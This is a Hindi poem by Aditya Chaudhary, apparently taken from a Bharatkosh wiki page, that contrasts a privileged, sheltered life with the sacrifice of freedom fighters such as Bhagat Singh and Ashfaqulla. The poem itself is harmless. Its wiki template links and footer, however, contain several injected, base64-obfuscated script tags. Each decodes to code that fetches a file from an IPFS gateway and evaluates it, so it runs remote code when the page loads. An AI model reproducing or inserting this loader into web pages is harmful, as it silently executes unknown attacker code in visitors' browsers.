क्या यही तुम्हारा विशेष है? -आदित्य चौधरी
|
क्या यही तुम्हारा विशेष है?
कि बस जीते रहना है उस जीवन को
जो कि शेष है...
या कुछ देखना है कभी
उन पर्दों के पार की ज़िन्दगी
जो तुम्हारी उस खिड़की पर लगे हैं
जिसके गिर्द बना दी है
चाँदी की दीवार तुमने
और उन्हें
कभी न खोलने का निर्देश है
तुम्हारा वो काला चश्मा भी
उतरेगा अब नहीं
जो शौक़ था पहले
और अब व्यवसाय की मजबूरी
क्या तुम देख पाओगे कभी
कि कैसा ये देश है
|
परफ़्यूम भी नहीं छोड़ पाओगे
पसीने की गंध से तो
बहुत दूर हो जाओगे
इसी पसीने में ही तो
देश की आज़ादी का संदेश है
ख़ून बहाकर मिली थी आज़ादी
ख़ून तुम भी बहाते हो लेकिन
तभी जबकि
ब्लड टेस्ट करवाते हो
कभी देखा है ग़ौर से कि
तुम्हारे ख़ून का रंग
कितना सफ़ेद है
|
कितने बिस्मिल थे
भगत सिंह और अशफ़ाक़
जिनकी आमद से
सिहर गया होगा यमराज भी
क्योंकि यही तो वह मृत्यु है
जो विशेष है
बाक़ी तो सब यूँ ही है
फ़ेक है
|
|
[[Template:भारतकोश सम्पादकीय<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|देखें]] • [[|वार्ता]] • [{{fullurl:Template:भारतकोश सम्पादकीय<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}बदलें] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> आदित्य चौधरी की रचनाएँ |
---|
| | | | | | | सम्पर्क- | |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>